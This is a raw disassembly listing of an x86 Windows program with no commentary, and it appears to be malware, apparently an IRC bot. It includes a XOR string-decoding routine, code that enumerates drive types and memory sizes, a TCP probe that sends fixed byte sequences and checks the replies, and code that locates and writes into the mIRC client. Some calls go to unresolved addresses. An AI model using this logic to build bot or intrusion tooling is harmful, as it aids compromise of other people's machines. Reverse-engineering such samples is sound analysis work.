		cmp	[ebp-30h], esi
		jnz	short loc_411459
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_401445
		add	esp, 14h


loc_411459:				; CODE XREF: ___:00411437j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_410557
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_417070
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417070
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_4DA3DC
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 267039Fh
		cmp	eax, edi
		jnz	short loc_4114DB
		call	dword_4452A0
		call	sub_411FA3
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_4114DB:				; CODE XREF: ___:004114C7j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_441F3C
		jmp	short loc_4114F5
; ---------------------------------------------------------------------------


loc_4114E9:				; CODE XREF: ___:004110A2j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_441F70


loc_4114F5:				; CODE XREF: ___:004114E7j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_411529
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_401445
		add	esp, 14h


loc_411529:				; CODE XREF: ___:00411507j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_410557
		pop	ecx


loc_411536:				; CODE XREF: ___:004112F9j
					; ___:00411382j ...
		push	dword ptr [ebp-18h]
		call	dword_44537C
		push	dword ptr [ebp-48h]
		call	sub_40916F
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h

; =============== S U B	R O U T	I N E =======================================



sub_41154F	proc near		; CODE XREF: ___:0041117Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_41156B


loc_41155B:				; CODE XREF: sub_41154F+1Aj
		mov	dl, byte_436C28
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_41155B

locret_41156B:				; CODE XREF: sub_41154F+Aj
		retn
sub_41154F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41156C	proc near		; CODE XREF: sub_403038+43C5p
					; sub_403038+44F7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41A370
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_41156C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411586	proc near		; CODE XREF: sub_40E18A+45Dp
					; sub_40E18A+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4DA3E0
		push	0
		push	edi
		call	sub_417070
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_4115AB:				; CODE XREF: sub_411586+5Bj
					; sub_411586+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41A440
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41A3D0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4115E9
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4115AB
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4115AB
; ---------------------------------------------------------------------------


loc_4115E9:				; CODE XREF: sub_411586+4Bj
		dec	esi
		mov	eax, edi


loc_4115EC:				; CODE XREF: sub_411586+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_4115FB
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_4115EC
; ---------------------------------------------------------------------------


loc_4115FB:				; CODE XREF: sub_411586+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411586	endp


; =============== S U B	R O U T	I N E =======================================



sub_411605	proc near		; CODE XREF: sub_4117BA+51p
					; sub_4117BA+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4453A8
		sub	eax, 0
		jz	short loc_411648
		dec	eax
		jz	short loc_411642
		dec	eax
		dec	eax
		jz	short loc_41163C
		dec	eax
		jz	short loc_411636
		dec	eax
		jz	short loc_411630
		dec	eax
		jz	short loc_41162A
		mov	eax, offset dword_441FC8
		retn
; ---------------------------------------------------------------------------


loc_41162A:				; CODE XREF: sub_411605+1Dj
		mov	eax, offset off_441FC4
		retn
; ---------------------------------------------------------------------------


loc_411630:				; CODE XREF: sub_411605+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_411636:				; CODE XREF: sub_411605+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_41163C:				; CODE XREF: sub_411605+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_411642:				; CODE XREF: sub_411605+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_411648:				; CODE XREF: sub_411605+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_411605	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41164E	proc near		; CODE XREF: sub_411696+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_445238
		test	eax, eax
		jz	short loc_411683
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_411683:				; CODE XREF: sub_41164E+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41164E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411696	proc near		; CODE XREF: sub_4117BA+17p
					; sub_414129+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41164E
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_411770
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_411770
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_411770
		mov	edi, 400h
		push	0
		push	edi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41A4C0
		push	edx
		push	eax
		call	sub_411586
		push	eax
		mov	esi, 80h
		push	offset aSkb	; "%sKB"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41A4C0
		push	edx
		push	eax
		call	sub_411586
		push	eax
		push	offset aSkb_0	; "%sKB"
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41A4C0
		push	edx
		push	eax
		call	sub_411586
		push	eax
		push	offset aSkb_1	; "%sKB"
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4172D0
		jmp	short loc_4117A3
; ---------------------------------------------------------------------------


loc_411770:				; CODE XREF: sub_411696+2Cj
					; sub_411696+3Bj ...
		lea	eax, [ebp+var_198]
		push	offset aFailed	; "failed"
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_118]
		push	offset aFailed_0 ; "failed"
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_98]
		push	offset aFailed_1 ; "failed"
		push	eax
		call	sub_4171D0


loc_4117A3:				; CODE XREF: sub_411696+D8j
		mov	eax, [ebp+arg_0]
		add	esp, 18h
		lea	esi, [ebp+var_198]
		mov	edi, eax
		push	60h
		pop	ecx
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_411696	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4117BA	proc near		; CODE XREF: sub_41188C+17p
					; sub_41188C+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_411696
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed_2 ; "failed"
		rep movsd
		push	eax
		call	sub_417870
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41182D
		push	ebx
		push	ebx
		call	sub_411605
		pop	ecx
		push	eax
		push	offset unk_442004
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_4172D0
		add	esp, 14h
		jmp	short loc_411861
; ---------------------------------------------------------------------------


loc_41182D:				; CODE XREF: sub_4117BA+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_411605
		pop	ecx
		push	eax
		push	offset unk_442040
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_4172D0
		add	esp, 20h


loc_411861:				; CODE XREF: sub_4117BA+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_410557
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4117BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41188C	proc near		; CODE XREF: sub_403038+39AEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_4118AD
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4117BA
		add	esp, 10h
		jmp	short loc_41190E
; ---------------------------------------------------------------------------


loc_4118AD:				; CODE XREF: sub_41188C+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4452B0
		lea	esi, [eax+2]
		push	esi
		call	sub_414DB0
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4452B0
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_411905


loc_4118D1:				; CODE XREF: sub_41188C+77j
		push	offset off_44207C
		push	esi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4118F4
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4117BA
		add	esp, 10h


loc_4118F4:				; CODE XREF: sub_41188C+54j
		push	esi
		call	sub_414BE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_4118D1


loc_411905:				; CODE XREF: sub_41188C+43j
		push	edi
		call	sub_415820
		pop	ecx
		pop	edi
		pop	esi


loc_41190E:				; CODE XREF: sub_41188C+1Fj
		pop	ebx
		pop	ebp
		retn
sub_41188C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411911	proc near		; CODE XREF: sub_411949+125p
					; sub_411949+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_41193F


loc_411922:				; CODE XREF: sub_411911+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41A570
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_411945
		inc	esi
		cmp	esi, edi
		jl	short loc_411922


loc_41193F:				; CODE XREF: sub_411911+Fj
		xor	al, al


loc_411941:				; CODE XREF: sub_411911+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411945:				; CODE XREF: sub_411911+27j
		mov	al, 1
		jmp	short loc_411941
sub_411911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411949	proc near		; CODE XREF: ___:0040AE11p
					; ___:0040C803p ...

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417E20
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41198A
		dec	eax
		jz	short loc_411968
		dec	eax


loc_411962:				; CODE XREF: sub_411949+57j
		xor	eax, eax


loc_411964:				; CODE XREF: sub_411949+3Fj
					; sub_411949+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_411968:				; CODE XREF: sub_411949+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_445388
		push	eax
		call	sub_409C62
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_411964
; ---------------------------------------------------------------------------


loc_41198A:				; CODE XREF: sub_411949+13j
		push	6
		push	1
		push	2
		call	dword_4453C8
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_411962
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_445348
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_402561
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4452F0
		cmp	eax, edi
		jz	loc_411AA6
		push	ebx
		push	48h
		push	offset dword_442080
		push	esi
		call	dword_445398
		cmp	eax, edi
		jz	loc_411AA6
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_445360
		cmp	eax, edi
		jz	loc_411AA6
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_411AA6
		push	ebx
		push	18h
		push	offset dword_4420CC
		push	[ebp+arg_4]
		call	dword_445398
		cmp	eax, edi
		jz	short loc_411AA6
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_445360
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_411AA6
		cmp	[ebp+var_200E],	2
		jnz	short loc_411AA6
		push	10h
		push	offset loc_4420E8
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_411911
		add	esp, 10h
		test	al, al
		jz	short loc_411A86
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_411AA6
; ---------------------------------------------------------------------------


loc_411A86:				; CODE XREF: sub_411949+12Fj
		push	10h
		push	offset dword_4420FC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_411911
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_411AA6:				; CODE XREF: sub_411949+9Bj
					; sub_411949+B2j ...
		push	[ebp+arg_4]
		call	dword_4453E0
		mov	eax, ebx
		pop	ebx
		jmp	loc_411964
sub_411949	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AB7	proc near		; CODE XREF: sub_403038+BBBp
					; sub_403038+BF8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_411B42
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_411B42
		cmp	[ebp+arg_8], esi
		jz	short loc_411B42
		cmp	byte ptr [eax],	0
		jz	short loc_411B42
		push	ebx
		push	edi
		call	sub_431CB0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_411B3D
		push	[ebp+arg_4]
		push	edi
		call	sub_417B50
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_411B36
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_417770
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_414BE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418680
		push	[ebp+arg_4]
		call	sub_414BE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4184D0
		push	ebx
		push	edi
		call	sub_4184C0
		add	esp, 30h
		mov	esi, edi


loc_411B36:				; CODE XREF: sub_411AB7+3Cj
		push	ebx
		call	sub_415820
		pop	ecx


loc_411B3D:				; CODE XREF: sub_411AB7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_411B44
; ---------------------------------------------------------------------------


loc_411B42:				; CODE XREF: sub_411AB7+Cj
					; sub_411AB7+13j ...
		xor	eax, eax


loc_411B44:				; CODE XREF: sub_411AB7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_411AB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B48	proc near		; CODE XREF: sub_402EC0+E9p
					; ___:0040EB0Cp

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417070
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_414BE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_411B7E
		or	eax, 0FFFFFFFFh
		jmp	short loc_411BF1
; ---------------------------------------------------------------------------


loc_411B7E:				; CODE XREF: sub_411B48+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_411BA0


loc_411B8A:				; CODE XREF: sub_411B48+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_411B97
		cmp	dl, 0Dh
		jnz	short loc_411B9B


loc_411B97:				; CODE XREF: sub_411B48+48j
		and	byte ptr [ecx+esi], 0


loc_411B9B:				; CODE XREF: sub_411B48+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_411B8A


loc_411BA0:				; CODE XREF: sub_411B48+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_411BD1
		lea	edi, [ebp+var_7CC]


loc_411BAD:				; CODE XREF: sub_411B48+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_411BCC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_411BCC
		cmp	ebx, 1F4h
		jge	short loc_411BD1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_411BCC:				; CODE XREF: sub_411B48+69j
					; sub_411B48+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_411BAD


loc_411BD1:				; CODE XREF: sub_411B48+5Dj
					; sub_411B48+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_411BEF
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4187B0
		add	esp, 0Ch


loc_411BEF:				; CODE XREF: sub_411B48+8Ej
		mov	eax, ebx


loc_411BF1:				; CODE XREF: sub_411B48+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_411B48	endp


; =============== S U B	R O U T	I N E =======================================



sub_411BF5	proc near		; CODE XREF: sub_411C4F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_411C2E
		push	ebx
		mov	ebx, edi


loc_411C12:				; CODE XREF: sub_411BF5+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_411C31
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_411C12
		pop	ebx


loc_411C2E:				; CODE XREF: sub_411BF5+18j
		pop	edi
		pop	esi
		retn
sub_411BF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C31	proc near		; CODE XREF: sub_411BF5+25p
					; sub_411C4F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41A630
		cmp	al, 61h
		pop	ecx
		jl	short loc_411C4C
		cmp	al, 7Ah
		jg	short loc_411C4C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_411C4C:				; CODE XREF: sub_411C31+Ej
					; sub_411C31+12j
		xor	eax, eax
		retn
sub_411C31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C4F	proc near		; CODE XREF: ___:00410660p
					; ___:004106E5p ...

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417E20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_414BE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_414BE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_411BF5
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_411C8D:				; CODE XREF: sub_411C4F+B6j
		test	esi, esi
		jle	short loc_411D0B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41A630
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41A630
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_411D03


loc_411CB3:				; CODE XREF: sub_411C4F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_411C31
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_411CD4
		mov	eax, ecx


loc_411CD4:				; CODE XREF: sub_411C4F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_411D07
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41A630
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41A630
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_411CB3


loc_411D03:				; CODE XREF: sub_411C4F+62j
		dec	edi
		dec	esi
		jmp	short loc_411C8D
; ---------------------------------------------------------------------------


loc_411D07:				; CODE XREF: sub_411C4F+8Aj
		xor	eax, eax
		jmp	short loc_411D10
; ---------------------------------------------------------------------------


loc_411D0B:				; CODE XREF: sub_411C4F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_411D10:				; CODE XREF: sub_411C4F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411C4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D15	proc near		; CODE XREF: sub_403038+2D35p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26908EFh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_100]


loc_411D4E:				; CODE XREF: sub_411D15+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_411D5A
		cmp	cl, 9
		jnz	short loc_411D5D


loc_411D5A:				; CODE XREF: sub_411D15+3Ej
		inc	eax
		jmp	short loc_411D4E
; ---------------------------------------------------------------------------


loc_411D5D:				; CODE XREF: sub_411D15+43j
					; sub_411D15+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_411D77
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_411D5D
		cmp	cl, 21h
		jl	short loc_411D5D


loc_411D77:				; CODE XREF: sub_411D15+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA418
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_4172D0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_411D15	endp


; =============== S U B	R O U T	I N E =======================================



sub_411D9F	proc near		; CODE XREF: sub_403038+3925p
		push	esi
		push	0
		call	dword_445318
		test	eax, eax
		jz	short loc_411DD6
		push	1
		call	dword_445338
		mov	esi, eax
		test	esi, esi
		jz	short loc_411DD6
		push	edi
		push	esi
		nop
		call	near ptr 27D0642h
		push	esi
		mov	edi, eax
		call	near ptr 27D0000h
		nop
		call	dword_44539C
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411DD6:				; CODE XREF: sub_411D9F+Bj
					; sub_411D9F+19j
		xor	eax, eax
		pop	esi
		retn
sub_411D9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_411DDA	proc near		; CODE XREF: sub_403038+2BD8p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		xor	esi, esi
		push	esi
		push	offset aMirc_2	; "mIRC"
		call	dword_445354
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_411E5A
		push	ebx
		push	edi
		push	offset aMirc_3	; "mIRC"
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 27E0000h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27D0B91h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4171D0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
